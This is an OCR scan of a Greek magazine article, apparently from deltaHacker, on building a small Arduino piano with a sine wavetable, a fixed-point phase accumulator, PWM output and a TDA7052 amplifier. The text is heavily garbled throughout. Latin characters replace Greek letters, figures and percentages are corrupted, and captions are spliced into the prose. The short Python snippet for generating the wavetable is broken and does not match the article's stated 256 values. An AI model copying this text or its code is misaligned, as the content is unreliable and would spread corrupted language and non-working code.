υπολογίζοντας τις σχετικὲς τιμές. Με µια γρήγορη ματιὰ, θα διαπιστώσει 
ότι προκύπτουν αρκετά διαδοχικἁ δείγματα, µε την ióia ακριβώς τιμή. 
H ὑπαρξη τέτοιων «ομάδων» anó δείγματα σηµαίνει ὁτι, ἐστω και 
τοπικά, η ταλάντωση παύει να εἶναι ηµιτονοειδἠς. Τελικά, αν όλα αυτά 
σας κούρασαν και σας μπέρδεψαν, κρατήστε μόνο αυτό: Εἶναι ιδιαίτερα 
βολικὀ να κατασκευάσουµε éva wavetable µε 256 τιμές. Σε αυτήν την 
περίπτωση o δείκτης για την προσπέλαση rou wavetable θα ἐχει μέγεθος 
ακριβώς éva byte kai τα «στρογγυλά» μεγέθη µας αρέσουν! 


Όλα καλά μέχρι εδὠ, θα σκεφτεὶ κανεὶς. Ποιος θα υπολογίσει αυτὲς 
τις 256 τιμές, όμως; Φυσικά, θα μπορούσαμε va προγραμματίσουμε 
κατάλληλα το ἴδιο το Arduino, ὥστε va αρχικοποιεἰ το wavetable εντός 
της συνάρτησης setup. Ωστόσο, υπάρχει και µια ακόµα απλούστερη λύση: 
Να γράψουμε ἑνα uikpó npóypaupa σε Python, να υπολογἰσουμετις τιμὲς 
για το wavetable και να τις εισαγάγουµε στον σχετικὀ πἰνακα κατὰ τη 
δήλωσή rou. Μ΄ auróv τον τρόπο, το πρόγραμμα για το Arduino θα εἶναι 
ακόµα απλούστερο και μικρότερο. Σκεπτόµμενοι κάπως ἐτσι, πεταχτήκαμε 
μέχρι ro codepad? και εκτελέσαµε το ακόλουθο προγραμματάκι: 


import math 
for x in range(0, 255): 
print "κά," Z(math.floor(128 * math.sin(2*math.pi*x/255))), 


Οι παραπάνω γραμμὲς υπολογίζουν 256 τιμὲς του ημιτόνου στο διάστηµα 
[-128..127]. Αν σας προβληματίζουν οι αρνητικοί αριθμοί, µη µασάτε. O 
πίνακας του wavetable θα περιἐχει στοιχεία τύπου char. Ο συγκεκριμένος 
τύπος μεταβλητών μπορεὶ να φιλοξενεί μεμονωμένους χαρακτήρες, αλλά 
και αριθμούς στο διάστηµα [-128..127]. Σατανικἠ σύμπτωση ;) 


9. http://codepad.org: Πρόκειται για online εργαλείο το onoio επιτρέπει τη συγγραφἠ και την εκτέλεση 
προγραμμάτων σε διάφορες γλὠσσες! 


Στη θέση του 
Digital to Analog 
Converter θα 
χρησιμοποιήσουμε 
éva κανάλι PWM. 
Με τη βοήθειά 
του θα παράγουµε 
uia προς µία 

τις στάθμες της 
τάσης, οι οποίες 
σχηματίζουν 

την επιθυμητή 
αρμονική 
ταλάντωση. 
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Μήπως ξεχνάμε κάτι; 


Μόλις υπολογἰσαμε 256 τιμὲς, οι οποίες περιγράφουν µια πλήρη περίοδο 
ενὸς ημιτὀόνου. Με αυτὲς τις τιμὲς και τη μεσολάβηση του PWM, θα 
μπορούμε αργότερα va σχηματἱζουμε ηλεκτρικὲς αρμονικὲς ταλαντώσεις. 
Ὅμως, τι συχνότητα θα xouv αυτὲς οι ταλαντώσεις; Αν τις στείλουμε 
σε ἑνα ηχείο, ὥστε να μετατραπούν σε unxavikég ταλαντώσεις, ποια 
νότα θα ακουστεἰ; Όπως υποψιάζεστε, η συχνότητα των παραγόμενων 
ταλαντώσεων εξαρτάται απὀ την ταχύτητα pe την οποία διαδέχεται το ἑνα 
δείγμα το ἄλλο. Αυτό εἶναι αληθές, αλλά ενδέχεται va µας οδηγήσει σε µια 
λανθασμένη αντίληψη: Εἶναι πιθανὀ να σκεφτεἰ κανεὶς ὁτι, yia τη σύνθεση 
οποιασδήποτε νότας, αρκεὶ να επιλέγουμε κάθε φορἁ την κατάλληλη 
συχνότητα αποστολἠς των δειγμάτων. Αυτή η σκέψη εἶναι πέρα ως πέρα 
λανθασμένη! Η συχνότητα δειγματοληψίας πρέπει να παραμένει πάντοτε 
σταθερή. Οἱ λόγοι που επιβάλλουν auróv τον περιορισμὀὸ θα αναδειχθούν 
σε επὀμενα ἄρθρα, ενώ υπάρχουν και ορισμένοι που ξεφεύγουν απὀ 
τα Ópia της παρουσἰασἠς µας. Πα την opa, σημειώστε ὁτι *kaveéva* 
σύστημα σύνθεσης ἠχου δεν χρησιμοποιεί µεταβαλλόμενη συχνότητα 
δειγματοληψίας. 


Νέο πρόβλημα... 


Εφόσον η συχνότητα αποστολἠς των δειγμάτων στον DAC πρέπει να 
μένει σταθερή, nog θα μεταβάλλουμε τη συχνότητα της ταλάντωσης 
που περιγράφουν τα δείγματα; Πώς θα δημιουργούμε ταλαντώσεις 
διαφορετικών συχνοτήτων; H λύση εἰναι απλἠ, αλλά anaiei να 
εξετάσουμε το ζήτημα anó ἄλλη οπτικἠ γωνία. Καταρχάς, ας θεωρήσουμε 
OTI η συχνότητα δειγματοληψίας ἐχει ρυθµιστεἰ σταθερἁ στα 16KHz. Ας 
εξετάσουμε ropa τις ακόλουθες περιπτώσεις. 


ο Ἔστω ὁτι το πρὀγραμμα σαρώνει το wavetable επαναλαμβανόμε- 
να, και κάθε φορά χρησιμοποιεί σαν δείγμα την επὀµενη τιµή που 
συναντά στον nivaka. Εφόσον το wavetable περιέχει 256 τιμὲς, 
οι οποίες περιγράφουν Χμίαξ περίοδο rou ηµιτὀνου, ὁταν το npó- 
γραμμα στείλει 16000 δείγματα στο PWM στην ἐξοδο θα xouv 
σχηματιστεἰ 16000/256 περίοδοι του ηµιτόνου. Δώστε βάση ropa: 
Εφόσον η συχνότητα δειγματοληψίας εἶναι ρυθµισµένη στα 16KHz, 
τα 16000 δείγματα αποστέλλονται στο PWM μέσα σε ἑνα μόλις 
δευτερόλεπτο. Επομένως, η περἰοδος της ταλάντωσης που σχη- 
ματίζεται στην ἐξοδο του PWM διαρκεἰ 1/(16000/256)sec. Με ἀλλα 
λόγια, η συχνότητα του ημιτόνου nou παΐρνουμε απὀ την ἑξοδο TOU 
PWM εἰναι ion µε 16000/256-62,5Hz. 


ο Ἔστω ὁτι TO πρὀγραμμα σαρώνει ro wavetable επαναλαμβανόμενα 
και χρησιμοποιεὶ κάθε τιµή απὀ *óUo* φορές. Evo το wavetable 
περιέχει 256 τιμές, το πρόγραμμα συμπεριφέρεται σαν να υπάρ- 
χουν 512 δείγματα. Όταν σταλούν 16000 δείγματα στο PWM, στην 
ἑξοδο θα xouv σχηματιστεὶ 16000/512 περίοδοι του ημιτόνου. 
Ακολουθώντας τη ἰδια λογικἠ που περιγράψαµε νωρίτερα, KaTa- 
λήγουμε σύντομα στο εξἠς: H παραγόμενη ταλάντωση θα ἐχει ou- 
χνότητα 31,25ΗΖ. 

ο Ἔστω ὁτιτο πρόγραµµα σαρώνει το wavetable επαναλαμβανόμενα, 
αλλά κάθε φορά παρακάμπτει µια τιµή και προχωρά στην επὀμενη. 
Evo το wavetable περιέχει 256 τιμές, το πρόγραμμα αξιοποιεί μόλις 
128. Επομένως, όταν σταλούν 16000 δείγματα στο PWM, στην ἐξο- 
δο θα ἐχουν σχηματιστεὶ 16000/128 περἰοδοι rou ημιτόνου. Τελικά, 
η παραγόμενη ταλάντωση θα ἐχει συχνότητα 125Hz. 
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Anó τα παραπάνω προκύπτει το συμπέρασμα ὁτι, ακόμα κι ὀταν 
διατηρούμε σταθερἠ τη συχνότητα δειγματοληψίας, υπάρχει ἑνας 
εύκολος τρόπος va μεταβάλλουμε τη συχνότητα της napayóuevng 
ταλάντωσης: Αρκεί να μεταβάλλουμε κατάλληλα την ταχύτητα σάρωσης 
του wavetable. Μικραϊνοντας αυτὴν την ταχύτητα (χρησιμοποιώντας 
κάθε δείγμα παραπάνω απὸ μία φορές), η συχνότητα της ταλάντωσης 
στην ἐξοδο μειώνεται. Αντίθετα, επιταχύνοντας τη σάρωση του wave- 
table (παρακάμπτοντας κάποια δείγματα), η συχνότητα της παραγὀµενης 
ταλάντωσης αυξάνεται. Τελικά, yia va ρυθµἰζουμε εὐκολα τη συχνότητα 
της παραγόµενης ταλάντωσης, αρκεἰ να δημιουργήσουμε vav ειδικὀ 
μηχανισμό, ο οποίος θα επιταχύνει ἡ θα επιβραδύνει τη σάρωση rou wa- 
vetable. 
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sample = math.floor(128*math.sin(2*math. »'χ/259}) 
print " "ed, ^ "esample, - i 
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Αριθµητικἀ τεχνάσματα 


O απλούστερος τρόπος yia να πετύχουμε το στὀχο µας προβλέπει τη 
χρήση δύο δεκαδικὠν αριθμών: To «ακέραιο μέρος; του πρώτου 
δεκαδικού αριθμού θα αποτελεἰ τον δείκτη, ενὼ ολόκληρος ο δεύτερος 
δεκαδικὀς θα χρησιμοποιείται για την προσαύξηση του πρώτου. O 
δεύτερος δεκαδικὸς, δηλαδὴ, θα προστίθεται στον πρῶτο κάθε φορά που 
το πρὀγραμμα θέλει να πάρει ἑνα νέο δείγμα απὸ το wavetable. Έτσι, TO 
μέγεθος του δεύτερου δεκαδικού θα καθορίζει την ταχύτητα µεταβολἠς 
του πρώτου. Όπως αντιλαμβάνεστε, ὀλη η ουσία βρίσκεται στα δεκαδικἁ 
ψηφία, τα οποἰα θα αυξάνουν την “αναλυτικότητα” του ὁλου συστήµατος. 
Αν η περιγραφἠ σας μπέρδεψε avri να σας βοηθήσει, µην ανησυχείτε 
καθόλου. Με δύο απλά παραδείγματα θα ξεκαθαρίσει αμέσως το TONIO. 
Ας υποθέσουµε ὁτι επιλέγουμε ἑνα βήμα προσαύξησης για τον δείκτη, 
ico µε 0,5. Σε αυτή την περίπτωση, το «ακέραιο μέροςξ του πρώτου 
δεκαδικού (δηλαδή ο δείκτης) θα αλλάζει τιµή κάθε δεύτερη φορά που 
το πρὀγραμμα θα ανατρέχει στο wavetable. Με αυτόν τον τρόπο, κάθε 
τιµή του wavetable θα χρησιμοποιείται εἰς διπλούν. Ας υποθέσουμε τώρα 
ὁτι επιλέγουμε σαν βήμα προσαύξησης το 1,5. Σε aurr| την περίπτωση, 
κάθε δεύτερη” φορά που προστίθεται το βήμα στο δείκτη, αυτός θα 
αυξάνεται κατἀ δύο μονάδες. Έτσι, το πρόγραμμα θα σαρώνει το wa- 
vetable παρακάμπτοντας κάθε δεύτερο δείγμα. Τελικά, στην πρώτη 
περίπτωση η ταχύτητα αὐξησης του δείκτη θα εἶναι μειωμένη κατὰ 5096, 
ενώ στη δεύτερη θα ἐχει αυξηθεί κατὰ 5090. 


Ὅπως oaiverai, oi δύο δεκαδικοὶ αριθμοί λύνουν εὐκολα ro πρὀβλημα µε 
την ταχύτητα µεταβολήςτου δείκτη. Όλα καλὰ, λοιπὸν, µόνο που ro Ardui- 


Με τη βοήθεια 
λίγων μόλις γραμ- 
μών κώδικα σε 
Python, υπολο- 
γίσαμε 256 τιμές 
µιας ημιτονοειδούς 
ταλάντωσης. Στην 
εικόνα έχουμε 
μαρκάρει λιγότερες 
απὀ τις μισές τιμές 
και, παρ’ ὁλα aurá, 
είναι αρκετές yia 
το σχηματισμὀό µιας 
"ομαλής” ηµιτονο- 
ειδούς καμπύλης. 
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O δείκτης 

TOU επόμενου 
δείγματος στο 
wavetable, 
φιλοξενείται σε 
έναν 16μπιτο 
αριθμὀ. Αυτόν 

τον αριθµό τον 
αντιμετωπίζουμε 
ως δεκαδικό και 
θεωρούμε ὁτι 

η υποδιαστολή 
βρίσκεται ανάμεσα 
στο 80 kai το 90 
bit. Πα va την 
avagopá σε κάποια 
θέση του wavetab- 
le χρησιµοποιείται 
µόνο το ακέραιο 
μέρος του αριθμού. 
Το δεκαδικὀ μέρος, 
όμως, εἶναι ακόµη 
πιο χρήσιμο: 
Ουσιαστικά, 
επιτρέπει τον 
έλεγχο του ρυθμού 
μεταβολής rou 
δείκτη! 
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no δεν διαθέτει hardware για TO χειρισμό αριθμών κινητής υποδιαστολής. 
Σε nio απλἀ ελληνικά, οι επεξεργαστὲς AVR δεν διαθέτουν FPU (Floating 
Point Unit). Αυτό σημαίνει ὁτι κάθε φορά που χρησιμοποιούμε τέτοιους 
αριθμούς στα προγρἀμματά µας, o compiler υποχρεώνεται να κάνει πολλά 
ακροβατικἁἀ. Fia µια γραμμὴ στην οποία ζητάμε µια απλἠ πρὀσθεση, 
ο compiler ενδέχεται va επιστρατεύσει µια δεκάδα εντολὠν. Όπως 
καταλαβαίνετε, οι καθυστερήσεις αυτού του εἶδους εἶναι απαράδεκτες 
για ἑνα πρὀγραμμα nou απαιτεἰ µεγάλη ταχύτητα εκτέλεσης. Έτσι, η 
χρήση μεταβλητών float ἡ double εἶναι απαγορευμένη! Αναρωτιέστε τι 
μπορούμε να κάνουμε; 


Βολική σύμβαση 


H λύση εἰναι και πάλι απλἠ: Oa κατασκευάσουµε το δικὀ µας εἶδος 
δεκαδικών αριθμών. Κατ’ αρχάς, yia να µην μπλέκουµμε µε το χειρισμό 
πολλών byte, αποφασίσαμε Ori οι δεκαδικοἰ αριθμοί µας θα ἐχουν μήκος 
2byte ἡ 16bit. Στη συνέχεια, ορἰζουµε ori το λιγότερο σηµαντικὀ byte θα 
avricToixei στα δεκαδικὀ μέρος του αριθμού. Αντίθετα, το περισσότερο 
σημαντικὀ byte θα αντιστοιχεἰ στο ακἑραιο μέρος του αριθμού. H vonrr| 
υποδιαστολἠ λοιπὀν, θα βρίσκεται σταθερἆ ανάμεσα στο 80 και στο 9ο 
bit. Με Aiya λόγια, ορἱζουµε ¿va σύστημα σταθερἠς υποδιαστολἠς, 8 προς 
8. Απλό δεν εἶναι; 


Εφόσον oi δεκαδικοἰ αριθμοί µας θα καταλαμβάνουν δύο byte, οι 
αντίστοιχες μεταβλητές μπορούν να εἶναι τύπου Integer (στο Ardui- 
no, αυτός ο τύπος αντιστοιχεἰ σε αριθμούς των 16bit). Αυτὸ µπορεἰ va 
ακούγεται παράξενο: Εἶναι δυνατὸ να αποθηκεύουµε δεκαδικούς αριθμούς 
σε μεταβλητὲς που ¿xouv δηλωθεί σαν ακέἑραιες; H απάντηση εἶναι απλή: 
H υποδιαστολἠ rov δικὠν µας δεκαδικὠν αριθμών εἶναι νοητὴ (o compiler 
αλλὰ και ο επεξεργαστἠς αγνοούν την ünap&r της). Αν φροντίσουμε va 
την κρατήσουμε κρυφὴ, εάν δεν την γράψουμε πουθενὰ στο πρὀγραμμά 
μας, δεν θα υπάρξει κανένα πρόβλημα: Οι προσθέσεις και οι αφαιρέσεις, 
τουλάχιστον, θα πραγματοποιούνται Χωρίς λάθη. Επομένως, αρκεὶ va 
κρατήσουμε τη νοητή υποδιαστολἠ στη φαντασία µας και μόνο! Φυσικά, 
παρόλο που δεν θα εμφανίζεται πουθενὰ η υποδιαστολή, οποτεδήποτε 
απαιτεἰται uia νέα τιµή anó το wavetable, o κὠδικας θα απομονώνει το 
*ak&paio μέροςχ rou δεκαδικού-δεϊκτη: το περισσότερο σηµαντικὀ byte. 


To κολπάκι που περιγράψαμε παραπάνω εἰναι γνωστὸ και σαν pha- 
se accumulator trick. Βλέπετε, ο δείκτης του wavetable θα μπορούσε 
να παρομοιαστεἰ µε τη φάση (phase) ενὸς ηµιτόνου. Έτσι, ο δεκαδικὀς 
αριθµός που φιλοξενεί το βήμα προσαύξησης του δείκτη θα μπορούσε 
να χαρακτηριστεἰ σαν τη διαφορά φάσης μεταξύ δύο διαδοχικών τιμών 
του wavetable (phase delta). Συνεχίζοντας στο ἴδιο πνεύμα, ο δεκαδικὀὸς 
αριθμὸς που φιλοξενεί τον δείκτη αποτελεἰ £vav συσσωρευτήἠ ὅλων των 
μέχρι πρότινος διαφορών της φάσης (phase accumulator). Av αυτή η 


δείκτης επόμενου δεΐγματος 
(μεταβλητή 16bit) 


ακἑραιο µέρος | δεκαδικὀ µέρος 


ΕΕ ΞΙΒ|ΕΙΒ Ξ|ΕΒΒ ΕΞ 
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νοητὴ 
υποδιαστολἠ 
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περιγραφή σας ἄφησε παγερά αδιάφορους, δεν πειράζει. Σημειώστε όμως 
ότι το συγκεκριμένο τέχνασμα αποτελεί τη βάση όλων των συστημάτων 
ψηφιακἠς σύνθεσης (DDS, anó ro Direct Digital Synthesis). 


To κύκλωμα 


Επιτέλους, μετὰ anó ατελείωτα kareparà θεωρίας, ἑφτασε η opa v’ 
αρχίσουμε την κατασκευὴ του μικρού µας πιάνου. Όπως βλέπετε και 
στη σχετικἠ εικὀνα, το κύκλωμα εἶναι αρκετά απλὀ και χωρίζεται σε δύο 
τμήματα. To ἑνα διαθέτει τους επτά διακόπτες, οι οποίοι αντιστοιχούν 
στα πλήκτρα του πιάνου. Στο ἄλλο τµήµα Φαΐνεται ἑνα ηχείο κι ἑνα 
παράξενο τσιπ! Πριν αναφερθούμε στα “ξένα στοιχεία”, να σημειώσουμε 
ὁτι οι διακόπτες εἶναι συνδεδεμένοι στους ψηφιακούς ακροδέκτες 1 έως 
7. Ἐπιλέξαμε να µην χρησιμοποιήσουμε rov ακροδέκτη 0, γιατὶ αυτό 
θα δημιουργούσε va μικρὸ πρὀβλημα. Συγκεκριµένα, αν πατούσαμε 
το διακόπτη κατὰ τη διάρκεια του προγραμματισμού του Arduino, η 
διαδικασία θα αποτύγχανε και το Arduino IDE θα ψιλοκολλούσε. Για να 
ξεμπερδεύουµε µε τους διακόπτες, va πούμε τέλος ὁτι η συνδεσμολογἱα 
τους εἶναι η απλούστερη δυνατή: Όταν πατιέται κάποιος, η αντίστοιχη 
Ψηφιακἠ εἰσοδος του Arduino θα συνδέεται στο GND. 


Το ἄλλο τµήµα του κυκλώματος αποτελεί τη βαθμίδα εξόδου για τον ἠχο. 
Το ἄγνωστο τσιπάκι (TDA7052) αποτελεὶ £vav μονοφωνικὸὀ ενισχυτή, 
που διατίθεται σε όλα τα καταστήματα ηλεκτρονικὠν εξαρτημάτων και 
κοστίζει περὶ τα 2 ευρώ. Στα προσόντα του εν λόγω τσιπ συγκαταλέγεται 
η απλούστατη συνδεσμολογία και οι ελάχιστες απαιτήσεις για εξωτερικἁ 
εξαρτήματα. Πα τη δικἡ µας εφαρμογἠ χρειάστηκε μόλις ἑνας πυκνωτής 
(40µΕ/1Ι6νΝ, ηλεκτρολυτικὀς). Με την ευκαιρία, να υπογραμμίσουμε ὁτι 
η συνδεσµολογἰα των ηλεκτρολυτικὠν πυκνωτών απαιτεὶ προσοχή. 
O ακροδέκτης µε τη σήμανση "-" πρέπει να συνδέεται πάντα στο 
χαμηλότερο δυναμικὀ και ὀχι αντίστροφα. Στη δικἠ µας περίπτωση, ο 
εν λόγω ακροδέκτης συνδέεται στο GND. Τέλος, αν και το εικονιζὀόμενο 
ηχείο μοιάζει να εἶναι απὀ εκείνα που διαθέτουν τροφοδοτικὀ, στην 
πραγματικότητα πρὀκειται για ἑνα σκέτο ηχείο των 8ohm. Πιστεύουμε 
ὁτι αν ρἰξετε µια ματιὰ και στην αντίστοιχη φωτογραφία, θα ετοιμἁσετε 
το πιανάκι σας σε ελἀχιστα λεπτά. 


Ενώσεις για εὔκολο διαχωρισμό! 


Πριν αρχίσουμε την παρουσίαση rou κὠδικα, να σας πούμε ὁτι μπορείτε 
να τον κατεβάσετε απὸ το 


http://bit.ly/dhei5ddspianovi 


To πρόγραµµα ξεκινά µε τη δήλωση rou nivaka, nou θα παἰζει το ρόλο του 
wavetable. Μαζί µε τη δήλωση πραγματοποιείται και η αρχικοποίηση, µε 
τις τιμὲς που υπολογἰσαμε νωρίτερα. Ακολούθως ορίζονται οι μεταβλητὲς 
του προγράμματος. Σε ἄλλες περιπτώσεις, αυτή η περιοχή του 
προγράμματος παρουσιάζει ελάχιστο ενδιαφέρον. Αυτή τη φορά, ωστόσο, 
θα χρησιμοποιήσουμε τις λεγόμενες ενώσεις (unions) και νοµίζουµε 
ότι αξίζει να σταθούμε λίγο παραπάνω. H απλούστερη περιγραφἠ των 
ενώσεων λέει ὁτι αποτελούν συλλογές μεταβλητών”, ὁπως και οι 
δομὲς (structs). Ωστόσο, οι ενώσεις και οι δομὲς συμπεριφέρονται πολύ 
διαφορετικἀ. Οι μεταβλητές σε ἑνα union παραπέμπουν *óAeG* στην ἰδια 
θέση μνήμης. Πα va κατανοήσετε OE TI εξυπηρετεἰ κάτι τέτοιο, μελετήστε 
την εφαρµογή τους στο δικὀ µας πρόγραμμα. Εμεὶς ορἰσαμε ἑνα union 
που περιλαμβάνει µια µεταβλητἠ integer κι £vav πίνακα anó bytes, των 
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fess cssc. seses c n 


shese ctt on ***99 99999 


To κύκλωμα για TO 
μικρὀ niávo εἶναι 
εξαιρετικἀ απλὀ και 
χωρίζεται σε δύο 
ευδιάκριτα µέρη: 
Στο éva βρίσκονται 
τα πλήκτρα του 
πιάνου, ενώ στο 
ἆλλο συναντάμε 
έναν μονοφωνικό 
ενισχυτή ήχου 
(TDA7052). 
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δύο θέσεων. Επειδἠ ο nivakag και η uerapAnrr| integer παραπέμπουν 
στην ἴδια διεύθυνση μνήμης, ισχύουν τα εξής: To πρὠτο στοιχείο του 
nivaka δείχνει στο πρὠτο byte rou integer (στο λιγότερο σημαντικό), ενὼ 
το δεύτερο στοιχείο του πίνακα δείχνει στο δεύτερο byte rou integer (στο 
περισσότερο σημαντικὀ). Αυτό το union εἶναι ιδανικό για την αποθήκευση 
του δεκαδικού αριθμού, ο οποίος θα περιέχει τον δείκτη για το wave- 
table! Οποτεδήποτε θέλουμε va αυξήσουμε τον δεκαδικὀ αριθμό nou 
περιέχει τον δείκτη (προσθέτοντας τον ἄλλον δεκαδικὀ αριθμὀ), αρκεὶ 
να χρησιμοποιούμε τη μεταβλητὴ integer rou union. Με αυτὀν τον τρόπο 
θα αποκτάµε πρόσβαση και στα 16bit του δεκαδικού αριθμού μας. Όταν 
όμως θέλουμε va απομονώσουμε το ακέραιο µέρος του δεκαδικού, όταν 
δηλαδἠ µας ενδιαφἑρει μόνο το περισσότερο σηµαντικὀ byte, μπορούμε 
να χρησιμοποιούμε το δεύτερο στοιχείο του πἰνακα, εντὸς του union. 
Με λίγα λόγια, η χρήση του συγκεκριμένου union επιτρέπει την εὐκολη 
πρόσβαση oro va ἡ στο ἄλλο byte, ενὸς integer. Αυτή η δυνατότητα 
εἶναι ιδιαϊτερα χρήσιμη για μάς, αφού οι δεκαδικοἰ αριθμοί nou ορἰσαμε 
προηγουμένως θα xouv μήκος 16bit -- και θα αποθηκεύονται σε 
μεταβλητές integer. 


Αδιάκοπες διακοπὲς 


Στη συνάρτηση setup, εκτὸς απὀ τη ρύθμιση rov ακροδεκτὠν 
ενεργοποιούνται κι απενεργοποιούνται διάφορα interrupts, για *óAoucG* 
TOUGtimers. Σε µια εφαρμογἠ σύνθεσης ἠχου δεν χωράνε καθυστερήσεις. 
To πρὀγραμμα πρέπει να εκτελείται µε τεράστια ακρίβεια, ώστε οι 
παραγόμενες ταλαντώσεις να µην παραμορφώνονται. Πα το λὀγο αυτό, 
απενεργοποιούµε όλα τα interrupts του timerO. Πλέον, συναρτήσεις σαν 
τη delay() εἰναι ανενεργὲς. Στη συνέχεια ενεργοποιούμε το PWM στον 
timer2. Εδὠ χρειάζεται λίγη προσοχή: Αν παρατηρήσετε τις ρυθμίσεις, 
θα δείτε ὁτι ο prescaler εἶναι απενεργοποιηµένος. Αυτὸ συνεπάγεται 
ὁτι η συχνότητα για το PWM θα ανέρχεται στα 16ΜΗΖ/{στάθµες PWM} 


Arduino Sound Master, part Ί/όσο χρειαστεί 
MW 


= 16MHz/256 = 62.5KHz. Αυτὸ δεν το κάναμε, γιατὶ αποφασίσαμε va 
αυξήσουμε τη συχνότητα δειγματοληψίας στα 62.5KHz. Θέλαμε απλά το 
PWM να λειτουργεὶ σαν ἑνας ταχύτατος DAC, του οποίου η συχνότητα 
λειτουργίας να βρίσκεται μακριὰ απὀ το φάσμα των συχνοτήτων που 
µπορεἰ να ακούσει ο ἄνθρωπος. Με αυτὸν τον τρόπο, εξασφαλίζουµε ότιο 
ἠχος nou θα παράγεται απὀ το πρόγραμμα θα εἶναι σχεδὸν απαλλαγμένος 
απὀ παρασιτικούς ἠχους. Ακολούθως, ενεργοποιούµε και va interrupt 
στον timeri. Οι ρυθμίσεις γι’ αυτόν εἶναι τέτοιες, ὥστε TO σχετικὀ in- 
terrupt να προκύπτει µε συχνότητα 16ΚΗΖ. Όπως υποψιάζεστε, αυτὀ το 
interrupt θα σηµατοδοτεἰ την ανάγκη παραγωγἠς ενὸς νέου δείγματος. 
Με ἄλλα λόγια, η ρουτίνα εξυπηρἐτησἡς rou θα υπολογίζει το νέο δείγμα 
και θα το στέλνει στην ἐξοδο µέσω του PWM. 


Ἕνας υπολογισμός για το τἐλος 


Το υπόλοιπο πρὀγραμμα εἶναι αρκετά απλὀ. O κύριος βρὀχος ελέγχει τους 
διακόπτες και αν εντοπίσει το πάτημα κάποιου, αποδίδει µια κατάλληλη 
τιμή στο βήμα προσαύξησης rou δείκτη. Αυτή η τιμὴ εἶναι τέτοια, WOTE OI 
παραγόμενες αρμονικὲς ταλαντώσεις να ἐχουν τη συχνότητα της νότας 
που αντιστοιχεί στον πατημένο διακόπτη. Όταν δεν πατιέται κανένα 
κουμπάκι, το βήμα προσαύξησης του δείκτη μηδενίζεται. AuTÓ ἐχει σαν 
συνέπεια να αποστέλλεται στο PWM το iio δείγμα συνεχώς. Με ἄλλα 
λόγια η ταλάντωση στην ἐξοδο του PWM σταματά και ο ἦχος παύει. Αυτό 
TO συστηματάκι εἶναι μάλλον απλὀ, αλλά αναδεικνύει ἑνα ενδιαφέρον 
ερώτημα: Πώς υπολογίζεται το βήμα προσαύξησης του δείκτη, ώστε va 
προκύπτει µια συγκεκριμένη συχνότητα στην ἑξοδο του PWM; Σε γενικὲς 
γραμμές, η συχνότητα της παραγόμενης ταλάντωσης εξαρτάται απὸ το 
πλήθος των δειγμάτων που περιγράφουν pia περἰοδὀ της. Συγκεκριμένα, 
η εν λόγω συχνότητα προκύπτει av διαιρἐσουµε τη συχνότητα 
δειγματοληψίας µε το πλήθος των δειγμάτων µιας περιόδου. Ὠπα! Μα, 
το πλήθος των τιμών του wavetable εἶναι σταθερό, θα σκεφτεὶ κανείς. 


H δικἡ µας 
υλοποίηση, του 
μικρού πιάνου! To 
ηχείο εἶναι των 
Sohm και καλὀ 
θα ἦταν va µη 
χρησιμοποιήσετε 
κάποιο µε 
μικρότερη 
αντίσταση. 
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Πράγματι, pnopei ro πλήθος rov τιμών του wavetable να εἶναι σταθερὀ 
αλλὰ, ὁπως ἐχουμε πει, υπάρχει περίπτωση να παρακάμπτονται κάποια -- 
ἡ να επαναλαμβάνονται. Έτσι, τα δείγματα που φτάνουν oro PWM και τα 
οποία σχηματίζουν ακριβώς μία περίοδο της επιθυμητἠς ταλάντωσης, δεν 
εἶναι ισάριθμα pe ra δείγματα του wavetable. Επομένως, η συχνότητα της 
napayóuevng ταλάντωσης σχετίζεται µε το πλήθος των δειγμάτων που 
αποστέλλονται στο PWM, για το σχηματισμὸ µιας περιόδου. Προσέξτε 
τώρα µια λεπτομέρεια: Eire επαναλαμβάνονται gite παρακάμπτονται 
κάποιες τιμὲς του wavetable, η ταλάντωση nou σχηµατίζουµε θα 
ολοκληρώσει ακριβώς μία περίοδο, órav θα xei πραγµατοποιηθεἰ µια 
πλήρης σάρωση rou wavetable. Με άλλα λόγια, ὁταν ο δείκτης yia τα 
δείγματα υπερχειλίσει. Ὅμως ο συγκεκριμένος δείκτης αποτελεὶ το 
ακέραιο μέρος ενὸς δεκαδικού αριθμού, δικἠς µας κατασκευἠς. Με ἄλλα 
λόγια, ο δείκτης βρίσκεται στο περισσότερο onpavrikó byte ενὸς αριθμού 
των 16bit. Επομένως, yia va υπερχειλἰσει ο δείκτης πρέπει να υπερχειλἰσει 
ολόκληρος o Ίθμπιτος αριθμός. Τελικά, το πλήθος των δειγμάτων που 
φτάνουν στο PWM, πριν αρχίσει η επόμενη σάρωση rou wavetable, 
προκύπτει διαιρώντας τη μέγιστη τιμὴ του δεκαεξάμπιτου αριθμού προς 
το βήμα προσαύξησης: 216 / {βήμα προσαύξησης}. Έτσι, η συχνότητα 
της παραγόµενης ταλάντωσης δίνεται anó την ακόλουθη σχέση: 


To ptr. step εἶναι το βήμα προσαύξησης του δεκαδικού αριθμού, ο οποίος 
περιέχει το δείκτη. Αν λύσουμε αυτή την εξίσωση ως προς το βήμα 
προσαύξησης, αντικαταστήσουμε τη συχνότητα δειγματοληψίας µε τα 
16KHz και κάνουμε τις πράξεις, καταλήγουμε στην ακόλουθη σχέση: 


Anó αυτή μπορούμε πλέον va υπολογίζουμε το απαιτούμενο βήμα 
προσαύξησης του δείκτη, ὥστε να σχηματίζεται µια ταλάντωση 
συχνότητας Ε out. Πα τις ανάγκες του προγρἀμματόὸς µας, υπολογίσαμε 
το βήμα προσαύξησης επτά Φορές: Mia για κάθε πλήκτρο του μικρού 
μας πιάνου. Προφανώς, κάθε φορὰ αντικαθιστούσαμε το F out µε τη 
συχνότητα της επιθυµητής νότας. 


Κάπου εδὠ πιστεύουμε ὁτι ἑφτασε η ώρα να βάλουμε µια τελεία. Θα σας 
αφήνουμε να παίξετε µε ro πιανάκι σας και να αφήσετε τη θεωρία να... 
εµπεδωθείἰ (έχει τον τρόπο της va το πετυχαίνει, όταν τη δοκιμάζουμε 
στην πράξη). Εἱμαστε σίγουροι ὅτι μόλις χωνέψετε óoa εἰπαμε, θα 
θελήσετε περισσότερα. Εξάλλου, τώρα που ξεμπερδέψαμε µε ra βασικἁ 
και πήραμε το βάπτισμα του πυρὸς, ἐχουμε μπροστὰ µας τα καλύτερα: 
Τα εφἑ, την πολυφωνία, την εξομοίωση των μουσικών οργάνων και ἄλλα, 
ακόµη nio ενδιαφἑἐροντα.! 


«ο 


gave 
ορ 


web 


To deltaHacker είναι το μοναδικό στο χώρο 
των περιοδικών έντυπο µε θεματολογία 
ethical hacking, δίκτυα και ασφάλεια, 
